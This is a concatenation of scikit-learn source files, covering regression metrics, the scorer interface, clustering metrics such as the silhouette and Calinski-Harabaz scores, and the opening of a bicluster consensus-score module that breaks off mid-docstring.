from ..utils.validation import column_or_1d
from ..externals.six import string_types

import warnings

__ALL__ = [
    "mean_absolute_error",
    "mean_squared_error",
    "median_absolute_error",
    "r2_score",
    "explained_variance_score"
]


def _check_reg_targets(y_true, y_pred, multioutput):
    """Check that y_true and y_pred belong to the same regression task

    Parameters
    ----------
    y_true : array-like,

    y_pred : array-like,

    multioutput : array-like or string in ['raw_values', uniform_average',
        'variance_weighted'] or None
        None is accepted due to backward compatibility of r2_score().

    Returns
    -------
    type_true : one of {'continuous', continuous-multioutput'}
        The type of the true target data, as output by
        'utils.multiclass.type_of_target'

    y_true : array-like of shape = (n_samples, n_outputs)
        Ground truth (correct) target values.

    y_pred : array-like of shape = (n_samples, n_outputs)
        Estimated target values.

    multioutput : array-like of shape = (n_outputs) or string in ['raw_values',
        uniform_average', 'variance_weighted'] or None
        Custom output weights if ``multioutput`` is array-like or
        just the corresponding argument if ``multioutput`` is a
        correct keyword.

    """
    check_consistent_length(y_true, y_pred)
    y_true = check_array(y_true, ensure_2d=False)
    y_pred = check_array(y_pred, ensure_2d=False)

    if y_true.ndim == 1:
        y_true = y_true.reshape((-1, 1))

    if y_pred.ndim == 1:
        y_pred = y_pred.reshape((-1, 1))

    if y_true.shape[1] != y_pred.shape[1]:
        raise ValueError("y_true and y_pred have different number of output "
                         "({0}!={1})".format(y_true.shape[1], y_pred.shape[1]))

    n_outputs = y_true.shape[1]
    multioutput_options = (None, 'raw_values', 'uniform_average',
                           'variance_weighted')
    if multioutput not in multioutput_options:
        multioutput = check_array(multioutput, ensure_2d=False)
        if n_outputs == 1:
            raise ValueError("Custom weights are useful only in "
                             "multi-output cases.")
        elif n_outputs != len(multioutput):
            raise ValueError(("There must be equally many custom weights "
                              "(%d) as outputs (%d).") %
                             (len(multioutput), n_outputs))
    y_type = 'continuous' if n_outputs == 1 else 'continuous-multioutput'

    return y_type, y_true, y_pred, multioutput


def mean_absolute_error(y_true, y_pred,
                        sample_weight=None,
                        multioutput='uniform_average'):
    """Mean absolute error regression loss

    Read more in the :ref:`User Guide <mean_absolute_error>`.

    Parameters
    ----------
    y_true : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Ground truth (correct) target values.

    y_pred : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Estimated target values.

    sample_weight : array-like of shape = (n_samples), optional
        Sample weights.

    multioutput : string in ['raw_values', 'uniform_average']
        or array-like of shape (n_outputs)
        Defines aggregating of multiple output values.
        Array-like value defines weights used to average errors.

        'raw_values' :
            Returns a full set of errors in case of multioutput input.

        'uniform_average' :
            Errors of all outputs are averaged with uniform weight.


    Returns
    -------
    loss : float or ndarray of floats
        If multioutput is 'raw_values', then mean absolute error is returned
        for each output separately.
        If multioutput is 'uniform_average' or an ndarray of weights, then the
        weighted average of all output errors is returned.

        MAE output is non-negative floating point. The best value is 0.0.

    Examples
    --------
    >>> from sklearn.metrics import mean_absolute_error
    >>> y_true = [3, -0.5, 2, 7]
    >>> y_pred = [2.5, 0.0, 2, 8]
    >>> mean_absolute_error(y_true, y_pred)
    0.5
    >>> y_true = [[0.5, 1], [-1, 1], [7, -6]]
    >>> y_pred = [[0, 2], [-1, 2], [8, -5]]
    >>> mean_absolute_error(y_true, y_pred)
    0.75
    >>> mean_absolute_error(y_true, y_pred, multioutput='raw_values')
    array([ 0.5,  1. ])
    >>> mean_absolute_error(y_true, y_pred, multioutput=[0.3, 0.7])
    ... # doctest: +ELLIPSIS
    0.849...
    """
    y_type, y_true, y_pred, multioutput = _check_reg_targets(
        y_true, y_pred, multioutput)
    output_errors = np.average(np.abs(y_pred - y_true),
                               weights=sample_weight, axis=0)
    if isinstance(multioutput, string_types):
        if multioutput == 'raw_values':
            return output_errors
        elif multioutput == 'uniform_average':
            # pass None as weights to np.average: uniform mean
            multioutput = None

    return np.average(output_errors, weights=multioutput)


def mean_squared_error(y_true, y_pred,
                       sample_weight=None,
                       multioutput='uniform_average'):
    """Mean squared error regression loss

    Read more in the :ref:`User Guide <mean_squared_error>`.

    Parameters
    ----------
    y_true : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Ground truth (correct) target values.

    y_pred : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Estimated target values.

    sample_weight : array-like of shape = (n_samples), optional
        Sample weights.

    multioutput : string in ['raw_values', 'uniform_average']
        or array-like of shape (n_outputs)
        Defines aggregating of multiple output values.
        Array-like value defines weights used to average errors.

        'raw_values' :
            Returns a full set of errors in case of multioutput input.

        'uniform_average' :
            Errors of all outputs are averaged with uniform weight.

    Returns
    -------
    loss : float or ndarray of floats
        A non-negative floating point value (the best value is 0.0), or an
        array of floating point values, one for each individual target.

    Examples
    --------
    >>> from sklearn.metrics import mean_squared_error
    >>> y_true = [3, -0.5, 2, 7]
    >>> y_pred = [2.5, 0.0, 2, 8]
    >>> mean_squared_error(y_true, y_pred)
    0.375
    >>> y_true = [[0.5, 1],[-1, 1],[7, -6]]
    >>> y_pred = [[0, 2],[-1, 2],[8, -5]]
    >>> mean_squared_error(y_true, y_pred)  # doctest: +ELLIPSIS
    0.708...
    >>> mean_squared_error(y_true, y_pred, multioutput='raw_values')
    ... # doctest: +ELLIPSIS
    array([ 0.416...,  1.        ])
    >>> mean_squared_error(y_true, y_pred, multioutput=[0.3, 0.7])
    ... # doctest: +ELLIPSIS
    0.824...

    """
    y_type, y_true, y_pred, multioutput = _check_reg_targets(
        y_true, y_pred, multioutput)
    output_errors = np.average((y_true - y_pred) ** 2, axis=0,
                               weights=sample_weight)
    if isinstance(multioutput, string_types):
        if multioutput == 'raw_values':
            return output_errors
        elif multioutput == 'uniform_average':
            # pass None as weights to np.average: uniform mean
            multioutput = None

    return np.average(output_errors, weights=multioutput)


def median_absolute_error(y_true, y_pred):
    """Median absolute error regression loss

    Read more in the :ref:`User Guide <median_absolute_error>`.

    Parameters
    ----------
    y_true : array-like of shape = (n_samples)
        Ground truth (correct) target values.

    y_pred : array-like of shape = (n_samples)
        Estimated target values.

    Returns
    -------
    loss : float
        A positive floating point value (the best value is 0.0).

    Examples
    --------
    >>> from sklearn.metrics import median_absolute_error
    >>> y_true = [3, -0.5, 2, 7]
    >>> y_pred = [2.5, 0.0, 2, 8]
    >>> median_absolute_error(y_true, y_pred)
    0.5

    """
    y_type, y_true, y_pred, _ = _check_reg_targets(y_true, y_pred,
                                                   'uniform_average')
    if y_type == 'continuous-multioutput':
        raise ValueError("Multioutput not supported in median_absolute_error")
    return np.median(np.abs(y_pred - y_true))


def explained_variance_score(y_true, y_pred,
                             sample_weight=None,
                             multioutput='uniform_average'):
    """Explained variance regression score function

    Best possible score is 1.0, lower values are worse.

    Read more in the :ref:`User Guide <explained_variance_score>`.

    Parameters
    ----------
    y_true : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Ground truth (correct) target values.

    y_pred : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Estimated target values.

    sample_weight : array-like of shape = (n_samples), optional
        Sample weights.

    multioutput : string in ['raw_values', 'uniform_average', \
                'variance_weighted'] or array-like of shape (n_outputs)
        Defines aggregating of multiple output scores.
        Array-like value defines weights used to average scores.

        'raw_values' :
            Returns a full set of scores in case of multioutput input.

        'uniform_average' :
            Scores of all outputs are averaged with uniform weight.

        'variance_weighted' :
            Scores of all outputs are averaged, weighted by the variances
            of each individual output.

    Returns
    -------
    score : float or ndarray of floats
        The explained variance or ndarray if 'multioutput' is 'raw_values'.

    Notes
    -----
    This is not a symmetric function.

    Examples
    --------
    >>> from sklearn.metrics import explained_variance_score
    >>> y_true = [3, -0.5, 2, 7]
    >>> y_pred = [2.5, 0.0, 2, 8]
    >>> explained_variance_score(y_true, y_pred)  # doctest: +ELLIPSIS
    0.957...
    >>> y_true = [[0.5, 1], [-1, 1], [7, -6]]
    >>> y_pred = [[0, 2], [-1, 2], [8, -5]]
    >>> explained_variance_score(y_true, y_pred, multioutput='uniform_average')
    ... # doctest: +ELLIPSIS
    0.983...

    """
    y_type, y_true, y_pred, multioutput = _check_reg_targets(
        y_true, y_pred, multioutput)

    y_diff_avg = np.average(y_true - y_pred, weights=sample_weight, axis=0)
    numerator = np.average((y_true - y_pred - y_diff_avg) ** 2,
                           weights=sample_weight, axis=0)

    y_true_avg = np.average(y_true, weights=sample_weight, axis=0)
    denominator = np.average((y_true - y_true_avg) ** 2,
                             weights=sample_weight, axis=0)

    nonzero_numerator = numerator != 0
    nonzero_denominator = denominator != 0
    valid_score = nonzero_numerator & nonzero_denominator
    output_scores = np.ones(y_true.shape[1])

    output_scores[valid_score] = 1 - (numerator[valid_score] /
                                      denominator[valid_score])
    output_scores[nonzero_numerator & ~nonzero_denominator] = 0.
    if isinstance(multioutput, string_types):
        if multioutput == 'raw_values':
            # return scores individually
            return output_scores
        elif multioutput == 'uniform_average':
            # passing to np.average() None as weights results is uniform mean
            avg_weights = None
        elif multioutput == 'variance_weighted':
            avg_weights = denominator
    else:
        avg_weights = multioutput

    return np.average(output_scores, weights=avg_weights)


def r2_score(y_true, y_pred,
             sample_weight=None,
             multioutput=None):
    """R^2 (coefficient of determination) regression score function.

    Best possible score is 1.0 and it can be negative (because the
    model can be arbitrarily worse). A constant model that always
    predicts the expected value of y, disregarding the input features,
    would get a R^2 score of 0.0.

    Read more in the :ref:`User Guide <r2_score>`.

    Parameters
    ----------
    y_true : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Ground truth (correct) target values.

    y_pred : array-like of shape = (n_samples) or (n_samples, n_outputs)
        Estimated target values.

    sample_weight : array-like of shape = (n_samples), optional
        Sample weights.

    multioutput : string in ['raw_values', 'uniform_average', \
'variance_weighted'] or None or array-like of shape (n_outputs)

        Defines aggregating of multiple output scores.
        Array-like value defines weights used to average scores.
        Default value corresponds to 'variance_weighted', this behaviour is
        deprecated since version 0.17 and will be changed to 'uniform_average'
        starting from 0.19.

        'raw_values' :
            Returns a full set of scores in case of multioutput input.

        'uniform_average' :
            Scores of all outputs are averaged with uniform weight.

        'variance_weighted' :
            Scores of all outputs are averaged, weighted by the variances
            of each individual output.

    Returns
    -------
    z : float or ndarray of floats
        The R^2 score or ndarray of scores if 'multioutput' is
        'raw_values'.

    Notes
    -----
    This is not a symmetric function.

    Unlike most other scores, R^2 score may be negative (it need not actually
    be the square of a quantity R).

    References
    ----------
    .. [1] `Wikipedia entry on the Coefficient of determination
            <https://en.wikipedia.org/wiki/Coefficient_of_determination>`_

    Examples
    --------
    >>> from sklearn.metrics import r2_score
    >>> y_true = [3, -0.5, 2, 7]
    >>> y_pred = [2.5, 0.0, 2, 8]
    >>> r2_score(y_true, y_pred)  # doctest: +ELLIPSIS
    0.948...
    >>> y_true = [[0.5, 1], [-1, 1], [7, -6]]
    >>> y_pred = [[0, 2], [-1, 2], [8, -5]]
    >>> r2_score(y_true, y_pred, multioutput='variance_weighted')  # doctest: +ELLIPSIS
    0.938...

    """
    y_type, y_true, y_pred, multioutput = _check_reg_targets(
        y_true, y_pred, multioutput)

    if sample_weight is not None:
        sample_weight = column_or_1d(sample_weight)
        weight = sample_weight[:, np.newaxis]
    else:
        weight = 1.

    numerator = (weight * (y_true - y_pred) ** 2).sum(axis=0,
                                                      dtype=np.float64)
    denominator = (weight * (y_true - np.average(
        y_true, axis=0, weights=sample_weight)) ** 2).sum(axis=0,
                                                          dtype=np.float64)
    nonzero_denominator = denominator != 0
    nonzero_numerator = numerator != 0
    valid_score = nonzero_denominator & nonzero_numerator
    output_scores = np.ones([y_true.shape[1]])
    output_scores[valid_score] = 1 - (numerator[valid_score] /
                                      denominator[valid_score])
    # arbitrary set to zero to avoid -inf scores, having a constant
    # y_true is not interesting for scoring a regression anyway
    output_scores[nonzero_numerator & ~nonzero_denominator] = 0.
    if multioutput is None and y_true.shape[1] != 1:
        warnings.warn("Default 'multioutput' behavior now corresponds to "
                      "'variance_weighted' value which is deprecated since "
                      "0.17, it will be changed to 'uniform_average' "
                      "starting from 0.19.",
                      DeprecationWarning)
        multioutput = 'variance_weighted'
    if isinstance(multioutput, string_types):
        if multioutput == 'raw_values':
            # return scores individually
            return output_scores
        elif multioutput == 'uniform_average':
            # passing None as weights results is uniform mean
            avg_weights = None
        elif multioutput == 'variance_weighted':
            avg_weights = denominator
            # avoid fail on constant y or one-element arrays
            if not np.any(nonzero_denominator):
                if not np.any(nonzero_numerator):
                    return 1.0
                else:
                    return 0.0
    else:
        avg_weights = multioutput

    return np.average(output_scores, weights=avg_weights)






"""
The :mod:`sklearn.metrics.scorer` submodule implements a flexible
interface for model selection and evaluation using
arbitrary score functions.

A scorer object is a callable that can be passed to
:class:`sklearn.model_selection.GridSearchCV` or
:func:`sklearn.model_selection.cross_val_score` as the ``scoring``
parameter, to specify how a model should be evaluated.

The signature of the call is ``(estimator, X, y)`` where ``estimator``
is the model to be evaluated, ``X`` is the test data and ``y`` is the
ground truth labeling (or ``None`` in the case of unsupervised models).
"""

# Authors: Andreas Mueller <amueller@ais.uni-bonn.de>
#          Lars Buitinck
#          Arnaud Joly <arnaud.v.joly@gmail.com>
# License: Simplified BSD

from abc import ABCMeta, abstractmethod

import numpy as np

from . import (r2_score, median_absolute_error, mean_absolute_error,
               mean_squared_error, accuracy_score, f1_score,
               roc_auc_score, average_precision_score,
               precision_score, recall_score, log_loss)
from .cluster import adjusted_rand_score
from ..utils.multiclass import type_of_target
from ..externals import six
from ..base import is_regressor


class _BaseScorer(six.with_metaclass(ABCMeta, object)):
    def __init__(self, score_func, sign, kwargs):
        self._kwargs = kwargs
        self._score_func = score_func
        self._sign = sign

    @abstractmethod
    def __call__(self, estimator, X, y, sample_weight=None):
        pass

    def __repr__(self):
        kwargs_string = "".join([", %s=%s" % (str(k), str(v))
                                 for k, v in self._kwargs.items()])
        return ("make_scorer(%s%s%s%s)"
                % (self._score_func.__name__,
                   "" if self._sign > 0 else ", greater_is_better=False",
                   self._factory_args(), kwargs_string))

    def _factory_args(self):
        """Return non-default make_scorer arguments for repr."""
        return ""


class _PredictScorer(_BaseScorer):
    def __call__(self, estimator, X, y_true, sample_weight=None):
        """Evaluate predicted target values for X relative to y_true.

        Parameters
        ----------
        estimator : object
            Trained estimator to use for scoring. Must have a predict_proba
            method; the output of that is used to compute the score.

        X : array-like or sparse matrix
            Test data that will be fed to estimator.predict.

        y_true : array-like
            Gold standard target values for X.

        sample_weight : array-like, optional (default=None)
            Sample weights.

        Returns
        -------
        score : float
            Score function applied to prediction of estimator on X.
        """
        y_pred = estimator.predict(X)
        if sample_weight is not None:
            return self._sign * self._score_func(y_true, y_pred,
                                                 sample_weight=sample_weight,
                                                 **self._kwargs)
        else:
            return self._sign * self._score_func(y_true, y_pred,
                                                 **self._kwargs)


class _ProbaScorer(_BaseScorer):
    def __call__(self, clf, X, y, sample_weight=None):
        """Evaluate predicted probabilities for X relative to y_true.

        Parameters
        ----------
        clf : object
            Trained classifier to use for scoring. Must have a predict_proba
            method; the output of that is used to compute the score.

        X : array-like or sparse matrix
            Test data that will be fed to clf.predict_proba.

        y : array-like
            Gold standard target values for X. These must be class labels,
            not probabilities.

        sample_weight : array-like, optional (default=None)
            Sample weights.

        Returns
        -------
        score : float
            Score function applied to prediction of estimator on X.
        """
        y_pred = clf.predict_proba(X)
        if sample_weight is not None:
            return self._sign * self._score_func(y, y_pred,
                                                 sample_weight=sample_weight,
                                                 **self._kwargs)
        else:
            return self._sign * self._score_func(y, y_pred, **self._kwargs)

    def _factory_args(self):
        return ", needs_proba=True"


class _ThresholdScorer(_BaseScorer):
    def __call__(self, clf, X, y, sample_weight=None):
        """Evaluate decision function output for X relative to y_true.

        Parameters
        ----------
        clf : object
            Trained classifier to use for scoring. Must have either a
            decision_function method or a predict_proba method; the output of
            that is used to compute the score.

        X : array-like or sparse matrix
            Test data that will be fed to clf.decision_function or
            clf.predict_proba.

        y : array-like
            Gold standard target values for X. These must be class labels,
            not decision function values.

        sample_weight : array-like, optional (default=None)
            Sample weights.

        Returns
        -------
        score : float
            Score function applied to prediction of estimator on X.
        """
        y_type = type_of_target(y)
        if y_type not in ("binary", "multilabel-indicator"):
            raise ValueError("{0} format is not supported".format(y_type))

        if is_regressor(clf):
            y_pred = clf.predict(X)
        else:
            try:
                y_pred = clf.decision_function(X)

                # For multi-output multi-class estimator
                if isinstance(y_pred, list):
                    y_pred = np.vstack(p for p in y_pred).T

            except (NotImplementedError, AttributeError):
                y_pred = clf.predict_proba(X)

                if y_type == "binary":
                    y_pred = y_pred[:, 1]
                elif isinstance(y_pred, list):
                    y_pred = np.vstack([p[:, -1] for p in y_pred]).T

        if sample_weight is not None:
            return self._sign * self._score_func(y, y_pred,
                                                 sample_weight=sample_weight,
                                                 **self._kwargs)
        else:
            return self._sign * self._score_func(y, y_pred, **self._kwargs)

    def _factory_args(self):
        return ", needs_threshold=True"


def get_scorer(scoring):
    if isinstance(scoring, six.string_types):
        try:
            scorer = SCORERS[scoring]
        except KeyError:
            raise ValueError('%r is not a valid scoring value. '
                             'Valid options are %s'
                             % (scoring, sorted(SCORERS.keys())))
    else:
        scorer = scoring
    return scorer


def _passthrough_scorer(estimator, *args, **kwargs):
    """Function that wraps estimator.score"""
    return estimator.score(*args, **kwargs)


def check_scoring(estimator, scoring=None, allow_none=False):
    """Determine scorer from user options.

    A TypeError will be thrown if the estimator cannot be scored.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    allow_none : boolean, optional, default: False
        If no scoring is specified and the estimator has no score function, we
        can either return None or raise an exception.

    Returns
    -------
    scoring : callable
        A scorer callable object / function with signature
        ``scorer(estimator, X, y)``.
    """
    has_scoring = scoring is not None
    if not hasattr(estimator, 'fit'):
        raise TypeError("estimator should be an estimator implementing "
                        "'fit' method, %r was passed" % estimator)
    elif has_scoring:
        return get_scorer(scoring)
    elif hasattr(estimator, 'score'):
        return _passthrough_scorer
    elif allow_none:
        return None
    else:
        raise TypeError(
            "If no scoring is specified, the estimator passed should "
            "have a 'score' method. The estimator %r does not." % estimator)


def make_scorer(score_func, greater_is_better=True, needs_proba=False,
                needs_threshold=False, **kwargs):
    """Make a scorer from a performance metric or loss function.

    This factory function wraps scoring functions for use in GridSearchCV
    and cross_val_score. It takes a score function, such as ``accuracy_score``,
    ``mean_squared_error``, ``adjusted_rand_index`` or ``average_precision``
    and returns a callable that scores an estimator's output.

    Read more in the :ref:`User Guide <scoring>`.

    Parameters
    ----------
    score_func : callable,
        Score function (or loss function) with signature
        ``score_func(y, y_pred, **kwargs)``.

    greater_is_better : boolean, default=True
        Whether score_func is a score function (default), meaning high is good,
        or a loss function, meaning low is good. In the latter case, the
        scorer object will sign-flip the outcome of the score_func.

    needs_proba : boolean, default=False
        Whether score_func requires predict_proba to get probability estimates
        out of a classifier.

    needs_threshold : boolean, default=False
        Whether score_func takes a continuous decision certainty.
        This only works for binary classification using estimators that
        have either a decision_function or predict_proba method.

        For example ``average_precision`` or the area under the roc curve
        can not be computed using discrete predictions alone.

    **kwargs : additional arguments
        Additional parameters to be passed to score_func.

    Returns
    -------
    scorer : callable
        Callable object that returns a scalar score; greater is better.

    Examples
    --------
    >>> from sklearn.metrics import fbeta_score, make_scorer
    >>> ftwo_scorer = make_scorer(fbeta_score, beta=2)
    >>> ftwo_scorer
    make_scorer(fbeta_score, beta=2)
    >>> from sklearn.model_selection import GridSearchCV
    >>> from sklearn.svm import LinearSVC
    >>> grid = GridSearchCV(LinearSVC(), param_grid={'C': [1, 10]},
    ...                     scoring=ftwo_scorer)
    """
    sign = 1 if greater_is_better else -1
    if needs_proba and needs_threshold:
        raise ValueError("Set either needs_proba or needs_threshold to True,"
                         " but not both.")
    if needs_proba:
        cls = _ProbaScorer
    elif needs_threshold:
        cls = _ThresholdScorer
    else:
        cls = _PredictScorer
    return cls(score_func, sign, kwargs)


# Standard regression scores
r2_scorer = make_scorer(r2_score)
mean_squared_error_scorer = make_scorer(mean_squared_error,
                                        greater_is_better=False)
mean_absolute_error_scorer = make_scorer(mean_absolute_error,
                                         greater_is_better=False)
median_absolute_error_scorer = make_scorer(median_absolute_error,
                                           greater_is_better=False)

# Standard Classification Scores
accuracy_scorer = make_scorer(accuracy_score)
f1_scorer = make_scorer(f1_score)

# Score functions that need decision values
roc_auc_scorer = make_scorer(roc_auc_score, greater_is_better=True,
                             needs_threshold=True)
average_precision_scorer = make_scorer(average_precision_score,
                                       needs_threshold=True)
precision_scorer = make_scorer(precision_score)
recall_scorer = make_scorer(recall_score)

# Score function for probabilistic classification
log_loss_scorer = make_scorer(log_loss, greater_is_better=False,
                              needs_proba=True)

# Clustering scores
adjusted_rand_scorer = make_scorer(adjusted_rand_score)

SCORERS = dict(r2=r2_scorer,
               median_absolute_error=median_absolute_error_scorer,
               mean_absolute_error=mean_absolute_error_scorer,
               mean_squared_error=mean_squared_error_scorer,
               accuracy=accuracy_scorer, roc_auc=roc_auc_scorer,
               average_precision=average_precision_scorer,
               log_loss=log_loss_scorer,
               adjusted_rand_score=adjusted_rand_scorer)

for name, metric in [('precision', precision_score),
                     ('recall', recall_score), ('f1', f1_score)]:
    SCORERS[name] = make_scorer(metric)
    for average in ['macro', 'micro', 'samples', 'weighted']:
        qualified_name = '{0}_{1}'.format(name, average)
        SCORERS[qualified_name] = make_scorer(metric, pos_label=None,
                                              average=average)






"""Unsupervised evaluation metrics."""

# Authors: Robert Layton <robertlayton@gmail.com>
#          Arnaud Fouchet <foucheta@gmail.com>
#          Thierry Guillemot <thierry.guillemot.work@gmail.com>
# License: BSD 3 clause

import numpy as np

from ...utils import check_random_state
from ...utils import check_X_y
from ..pairwise import pairwise_distances
from ...preprocessing import LabelEncoder


def check_number_of_labels(n_labels, n_samples):
    if not 1 < n_labels < n_samples:
        raise ValueError("Number of labels is %d. Valid values are 2 "
                         "to n_samples - 1 (inclusive)" % n_labels)


def silhouette_score(X, labels, metric='euclidean', sample_size=None,
                     random_state=None, **kwds):
    """Compute the mean Silhouette Coefficient of all samples.

    The Silhouette Coefficient is calculated using the mean intra-cluster
    distance (``a``) and the mean nearest-cluster distance (``b``) for each
    sample.  The Silhouette Coefficient for a sample is ``(b - a) / max(a,
    b)``.  To clarify, ``b`` is the distance between a sample and the nearest
    cluster that the sample is not a part of.
    Note that Silhouette Coefficent is only defined if number of labels
    is 2 <= n_labels <= n_samples - 1.

    This function returns the mean Silhouette Coefficient over all samples.
    To obtain the values for each sample, use :func:`silhouette_samples`.

    The best value is 1 and the worst value is -1. Values near 0 indicate
    overlapping clusters. Negative values generally indicate that a sample has
    been assigned to the wrong cluster, as a different cluster is more similar.

    Read more in the :ref:`User Guide <silhouette_coefficient>`.

    Parameters
    ----------
    X : array [n_samples_a, n_samples_a] if metric == "precomputed", or, \
             [n_samples_a, n_features] otherwise
        Array of pairwise distances between samples, or a feature array.

    labels : array, shape = [n_samples]
         Predicted labels for each sample.

    metric : string, or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string, it must be one of the options
        allowed by :func:`metrics.pairwise.pairwise_distances
        <sklearn.metrics.pairwise.pairwise_distances>`. If X is the distance
        array itself, use ``metric="precomputed"``.

    sample_size : int or None
        The size of the sample to use when computing the Silhouette Coefficient
        on a random subset of the data.
        If ``sample_size is None``, no sampling is used.

    random_state : integer or numpy.RandomState, optional
        The generator used to randomly select a subset of samples if
        ``sample_size is not None``. If an integer is given, it fixes the seed.
        Defaults to the global numpy random number generator.

    `**kwds` : optional keyword parameters
        Any further parameters are passed directly to the distance function.
        If using a scipy.spatial.distance metric, the parameters are still
        metric dependent. See the scipy docs for usage examples.

    Returns
    -------
    silhouette : float
        Mean Silhouette Coefficient for all samples.

    References
    ----------

    .. [1] `Peter J. Rousseeuw (1987). "Silhouettes: a Graphical Aid to the
       Interpretation and Validation of Cluster Analysis". Computational
       and Applied Mathematics 20: 53-65.
       <http://www.sciencedirect.com/science/article/pii/0377042787901257>`_

    .. [2] `Wikipedia entry on the Silhouette Coefficient
           <https://en.wikipedia.org/wiki/Silhouette_(clustering)>`_

    """
    X, labels = check_X_y(X, labels, accept_sparse=['csc', 'csr'])
    le = LabelEncoder()
    labels = le.fit_transform(labels)
    n_labels = len(le.classes_)
    n_samples = X.shape[0]

    check_number_of_labels(n_labels, n_samples)

    if sample_size is not None:
        random_state = check_random_state(random_state)
        indices = random_state.permutation(X.shape[0])[:sample_size]
        if metric == "precomputed":
            X, labels = X[indices].T[indices].T, labels[indices]
        else:
            X, labels = X[indices], labels[indices]
    return np.mean(silhouette_samples(X, labels, metric=metric, **kwds))


def silhouette_samples(X, labels, metric='euclidean', **kwds):
    """Compute the Silhouette Coefficient for each sample.

    The Silhouette Coefficient is a measure of how well samples are clustered
    with samples that are similar to themselves. Clustering models with a high
    Silhouette Coefficient are said to be dense, where samples in the same
    cluster are similar to each other, and well separated, where samples in
    different clusters are not very similar to each other.

    The Silhouette Coefficient is calculated using the mean intra-cluster
    distance (``a``) and the mean nearest-cluster distance (``b``) for each
    sample.  The Silhouette Coefficient for a sample is ``(b - a) / max(a,
    b)``.
    Note that Silhouette Coefficent is only defined if number of labels
    is 2 <= n_labels <= n_samples - 1.

    This function returns the Silhouette Coefficient for each sample.

    The best value is 1 and the worst value is -1. Values near 0 indicate
    overlapping clusters.

    Read more in the :ref:`User Guide <silhouette_coefficient>`.

    Parameters
    ----------
    X : array [n_samples_a, n_samples_a] if metric == "precomputed", or, \
             [n_samples_a, n_features] otherwise
        Array of pairwise distances between samples, or a feature array.

    labels : array, shape = [n_samples]
             label values for each sample

    metric : string, or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string, it must be one of the options
        allowed by :func:`sklearn.metrics.pairwise.pairwise_distances`. If X is
        the distance array itself, use "precomputed" as the metric.

    `**kwds` : optional keyword parameters
        Any further parameters are passed directly to the distance function.
        If using a ``scipy.spatial.distance`` metric, the parameters are still
        metric dependent. See the scipy docs for usage examples.

    Returns
    -------
    silhouette : array, shape = [n_samples]
        Silhouette Coefficient for each samples.

    References
    ----------

    .. [1] `Peter J. Rousseeuw (1987). "Silhouettes: a Graphical Aid to the
       Interpretation and Validation of Cluster Analysis". Computational
       and Applied Mathematics 20: 53-65.
       <http://www.sciencedirect.com/science/article/pii/0377042787901257>`_

    .. [2] `Wikipedia entry on the Silhouette Coefficient
       <https://en.wikipedia.org/wiki/Silhouette_(clustering)>`_

    """
    le = LabelEncoder()
    labels = le.fit_transform(labels)

    distances = pairwise_distances(X, metric=metric, **kwds)
    unique_labels = le.classes_

    # For sample i, store the mean distance of the cluster to which
    # it belongs in intra_clust_dists[i]
    intra_clust_dists = np.ones(distances.shape[0], dtype=distances.dtype)

    # For sample i, store the mean distance of the second closest
    # cluster in inter_clust_dists[i]
    inter_clust_dists = np.inf * intra_clust_dists

    for curr_label in unique_labels:

        # Find inter_clust_dist for all samples belonging to the same
        # label.
        mask = labels == curr_label
        current_distances = distances[mask]

        # Leave out current sample.
        n_samples_curr_lab = np.sum(mask) - 1
        if n_samples_curr_lab != 0:
            intra_clust_dists[mask] = np.sum(
                current_distances[:, mask], axis=1) / n_samples_curr_lab

        # Now iterate over all other labels, finding the mean
        # cluster distance that is closest to every sample.
        for other_label in unique_labels:
            if other_label != curr_label:
                other_mask = labels == other_label
                other_distances = np.mean(
                    current_distances[:, other_mask], axis=1)
                inter_clust_dists[mask] = np.minimum(
                    inter_clust_dists[mask], other_distances)

    sil_samples = inter_clust_dists - intra_clust_dists
    sil_samples /= np.maximum(intra_clust_dists, inter_clust_dists)
    return sil_samples


def calinski_harabaz_score(X, labels):
    """Compute the Calinski and Harabaz score.

    The score is defined as ratio between the within-cluster dispersion and
    the between-cluster dispersion.

    Read more in the :ref:`User Guide <calinski_harabaz_index>`.

    Parameters
    ----------
    X : array-like, shape (``n_samples``, ``n_features``)
        List of ``n_features``-dimensional data points. Each row corresponds
        to a single data point.

    labels : array-like, shape (``n_samples``,)
        Predicted labels for each sample.

    Returns
    -------
    score: float
        The resulting Calinski-Harabaz score.

    References
    ----------
    .. [1] `T. Calinski and J. Harabasz, 1974. "A dendrite method for cluster
       analysis". Communications in Statistics
       <http://www.tandfonline.com/doi/abs/10.1080/03610927408827101>`_
    """
    X, labels = check_X_y(X, labels)
    le = LabelEncoder()
    labels = le.fit_transform(labels)

    n_samples, _ = X.shape
    n_labels = len(le.classes_)

    check_number_of_labels(n_labels, n_samples)

    extra_disp, intra_disp = 0., 0.
    mean = np.mean(X, axis=0)
    for k in range(n_labels):
        cluster_k = X[labels == k]
        mean_k = np.mean(cluster_k, axis=0)
        extra_disp += len(cluster_k) * np.sum((mean_k - mean) ** 2)
        intra_disp += np.sum((cluster_k - mean_k) ** 2)

    return (1. if intra_disp == 0. else
            extra_disp * (n_samples - n_labels) /
            (intra_disp * (n_labels - 1.)))






from __future__ import division

import numpy as np

from sklearn.utils.linear_assignment_ import linear_assignment
from sklearn.utils.validation import check_consistent_length, check_array

__all__ = ["consensus_score"]


def _check_rows_and_columns(a, b):
    """Unpacks the row and column arrays and checks their shape."""
    check_consistent_length(*a)
    check_consistent_length(*b)
    checks = lambda x: check_array(x, ensure_2d=False)
    a_rows, a_cols = map(checks, a)
    b_rows, b_cols = map(checks, b)
    return a_rows, a_cols, b_rows, b_cols


def _jaccard(a_rows, a_cols, b_rows, b_cols):
    """Jaccard coefficient on the elements of the two biclusters."""
    intersection = ((a_rows * b_rows).sum() *
                    (a_cols * b_cols).sum())

    a_size = a_rows.sum() * a_cols.sum()
    b_size = b_rows.sum() * b_cols.sum()

    return intersection / (a_size + b_size - intersection)


def _pairwise_similarity(a, b, similarity):
    """Computes pairwise similarity matrix.

